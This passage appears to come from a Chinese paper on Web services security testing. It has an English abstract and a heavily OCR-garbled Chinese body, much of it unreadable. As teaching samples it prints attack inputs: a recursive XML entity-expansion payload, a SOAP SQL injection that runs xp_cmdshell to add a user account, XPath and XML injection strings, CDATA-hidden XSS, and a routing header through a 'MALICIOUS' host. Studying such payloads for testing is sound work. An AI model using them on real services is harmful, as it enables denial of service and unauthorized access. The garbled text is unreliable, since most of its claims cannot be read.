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Abstract; Web services are applied more and more widely . The security flaws and vulnerabilities in Web services are
growing. Web services security have become increasingly prominent. Web services security testing is an important means to
ensure Web services security and decrease security risks, This paper presents a Web services security testing framework,
and investigates the main security function requirements and implementation standards of Web services. It also discusses the
principle of implementing security function testing., From the perspective of Web services attacking, it discusses the Web
services security vulnerability testing,and analyzes the test methods for the common vulnerabilities.
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B AER 5 ERR TS RS RIRSF5. R 0
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3 Web RERETNEEM KA

F1FIHT Web 554 WL LIHBER LIIFHE.
£1 Web BEERRETIRLTIRE

LR R LAY
SAML, Kerberos, DSS, Generic Security

HHAIE Service(GSS), Liberty, WS-Security, WS-Fed-
eration

Lt ‘WS-Security, XML Encryption,
XKMS, SSL/TLS,HTTPS

SeEHE WS-Security, XML Signature

VNG ESIN S WS-Security, XML Signature

ViRl XACML, JAAS, XrML

Wit NIST SP 800-92

BARD ‘WS-Privacy, P3P

ZENBURAZETRENZLBER, WRKGE
EMRELARETESBR—BL.BFREARBTEHTE L.
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ATRAIME AR B A B AE B TR 6 B TR R
BRRP . EEEEE. Web [RETLTIBIGRA FTE43
REFLFHNRALAFET, TREFENEHREE
R WA, Web RESEHAK L FERT SSL,
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ERBSHELBEFRR EREMEERE. FFETELR
BRA AR m T2 RS2, BRkBEH Web fRE R
FIZET WS-Security B8 B R T L1, LIRBIM ML
2MEfE. #T Web REBERBEL2MBEURFTEERK
BEHngE SOAP K E..£4 SOAP HE . SAML im 8.
AEERELEFAP L4 . X 509 4, Kerberos EHig4
B SOAP B E.. £F% Web BR4IK BV HEATRRE
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NMAZEZ2ZH N ABFARREAEXNERLIE. 5
n, W FRRFF R LAGE A B 2 (A9 SOAP L4633 F P 423K,

12

£ 000 http://www.cqvip.com|

LAMERE G Web IR 5 FRX A P2 #EAT B AE. #AT
Web R ZLEMBARATE T H Web RELLTIHELH
PR MK HE.

4 Web fkFZE£RRMAKLR

Web %R AT —RFIFFRAARHEREAR, ERKE
ELREYE ERESVRNANES FRAKE. X
BT Web IlR% SOAP % 8 %83 HTTP80 3 [ {54,
i 80 ¥§ DI A KB HUBY k3% favF. REHRB A% R R
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BRUOAGE AWk EMERE. A¥MNACER
Web [ %, FAEREEA T . Web REFERAFE
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4.1 Web REFEORE

4.1.1 WSDL fa#™

Web ARE HiR 0 (WSDL 30#F) #5358 T IRE R4t
TR VAT ERENSEIM RS S RABEEERL.
WSDL 3345 X # WSDL £, F E R # WSDL X 4,7
R VE A O B AR B B A B IR W A s
4.1.2 HZEEXK

BSYER A WSDL B0 R RIER S AT
BERNSPEY, U B RRENENRIE AR AR T
Web R % .

4.2 Il XML B trss

4.2.1 #EFH

XML BB AL TR AT B, BEMEAS K
BRRETENHE, UFER RS R RSt seg,
BEREERRSIE. FlW, LA ERRARE 100 000 B
B XML JoR. 3R M HE T LEDEE DID Xk E
. B,

<7 xml version="1, 0" encoding="utf-8"7 >

<! DOCTYPE foobar [
<! ENTITY x0 "hello">

<1 ENTITY x1 "&x0; &x0; ">
<! ENTITY x2 "&x1;&x1;">

<! ENTITY x98 "&x97; &x97;">
<1 ENTITY x99 "&x98;&x98; ">
<1 ENTITY x100 "&x99; & x99; ">
>
<foobar>&.x100; <</foobar>

GRSk X100 ¥4 2 100 4 hello 478, £F
DOM L BHM a5 Z BE HA RN E. PTRATIR
A TEAATR™ BN XML 8, Bt Web 5.
4.2.2 HRXAK

XML 8%t FAEH KK XML ¥ H 4 HE
. XHUAREE EWER KK SOAP KB, B #
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PrEsRER I & CPU IR, B BUIR B IR 55 . B0, AT LAY
BILERRERKHE.

4.2.3 BB

XAPRERE R HERE N XML R, BB
RFFERBATH. Ha.TUHEASERRNTRS
B IEE ZMRieSRIE A RREE .

4.3 BETRHREFHIRE
4.3.1 %% SOAP ##

Web A 45 # %%t SOAP {5t = 3oE , 15 LB B
BRARER R, W, /K. E S W T SOAP M1
B/, XA R R R B MR B SOAP B R
3] Web R4,

4.3.2 #EAXHE

EART A SQL A XPATH i A LDAP &
AXMLEA 14 EAE, SOAPEEEHTREAEH
FBENSE X ESHATRRPIT SQL &5 XPATH &
WIEAN—ES. BEMENAP AL TS IR
INEM ST R BN B AR E B YR EE MITRE

e, UTHETHERINEEMENAPBA

< SOAP:Envelope xmlns; SOAP="+->
<CSOAP; Header>--<(/SOAP: Header>
<SOAP H Body
< BookLookup; searchByIBSN xmlns: BookLookup=+«>
<< BookLookup: IBSN>' exec master.. xp _cmdshell’ net
user Joe pass /ADD'<Booklookup: IBSN>
<</BookLookup: searchByIBSN>
</SOAP: Body>
</SOAP:Envelope>>

HRAR R

myRecordset= myConnection, execute("SELECT # FROM
myBooksTable WHERE IBSN = ‘" & IBSN _Element _ Text

& ny u)

b SQLBARE:

SELECT * FROM myTable WHERE IBSN = ‘exec mas-
ter. . xp_cmdshell’ net user Joe pass /ADD

AUEN, RG4S RIMEA.

XPATH TARM., ERANRZEMN XML XHIES.
Bl4n, LUF XPATH &4 R Z M H P & NEB:

//user[ name= “Joe’and pass= ‘letmein’]

BRIEAor 1=1 or*=", L& FREFH AP

//user[ name= Joe’orl=1or‘”=“’and pass= ‘letmein’]

XPATH ¥ AT BB BGEE VMR BB CHE R

XML At A XML TR SR 1R XML 1%
Bb MR FORI B MEMAE . B, T #HkEa B
AEAR XML i54] .

< UserRecord>

< UniquelD>12345<</UniquelD>

< Name>Henry Ackerman<(/Name>

< Email > hackerman(@ bad. com<</Email><UniquelD>0
</UniqueID><Email>>hackerman@bad. com</Email>

<Address>>123 Disk Drive<(/Address>

<ZipCode>98103<C/ZipCode>

< PhoneNumber>206-123-4567</PhoneNumber>

</UserRecord>

4.3.3 FE3hBiA
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CDATA ¥, CDATA M AR RABMAITH. U

TR EEHFHBT

< TAG1>
<1 [CDATA[<J]>SCRIPT<! [CDATA[>]]>
alert(*XSS’);
<1 [CDATA[<<JI>/SCRIPT<! [CDATA[>]I>
</TAG1>
<TAG2>
<! [CDATA[‘or 1=1 or*’="T1>
</TAG2>

4.4 SRS AME

4.4.1 3P EARAE

XML 34 87T BAS| FASMB L i, {05 Web AR 45 XSS
LR R E BAE, v R A B B AMP LR AT E IR R
AL HE Web RS .
4.4.2 BXNFEH

B # ) (Schema Poisoning) 2 #E i B AR B %
XML BER30 4 , BAF Web BR%5 B #3235 BB R B 5L,
i Web [RFEZRIBHBARRRBSE,
4.4.3 REPF

B 2h3%% (Routing Detours) X &7 27F SOAP L&
BRIRINE & B, EE R SOAP KRR ERER
HRBREZEERBIIINELIRSHER SOAPEE. &
PHBRELEERE BEEY AR EENE. S,

LR B malicious. com B BRMAEHER.

<wsrp;:to>SOAP:; //endpoint. com< wsrp;to>
<wsrps fwd>

<wsrp; via>SOAP: //intermediaryl. com</wsrp: via>
<wsrp; via>>SOAP; //MALICIQUS, com<C/wsrp, via>
<wsrp;via>>SOAP; //intermediary2. com<C/wsrp; via™>
</wsrp:fwd>

<wsrp: from>SOAP: //origin. com</wsrp; to>

4.5 FTELHMHEIRLE

Web RFHHESH AR AEEHRHE, RE
R E RS R S A RS THRANE R XA TR
T ERANABRFEEFERE R, BIE REIE M2
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5 Web izl IR

Web g5 ZEMMABARR ML TES BB X
IRHTAKSEED, SRER. AATAEES Parasoft
A7) SOATest, Vordel 24 7] 8§ SOAPBox. CrossCheck 2
H#9 SOAPSonar, Forum Systems 2> &] 9 XRay diagnosis.
Optimyz 7 & #9 WebServiceTester, SPI Dynamics 2 7] B
Weblnspect., Watchfire /2 ] B AppScan, FFIETAAH WS-
Digger, XETAEMA TRPEFIALYWHAC.FF
¥ () BARAR % R HRO AR ERSF (UM REBRK
BEPRFER . XET BEREHE LR ALE
Web iR% B 2T REFH TR, FE LI WS-Security 24
ATEHBIFRFRALE R Web IREFLLRAOMR LR,
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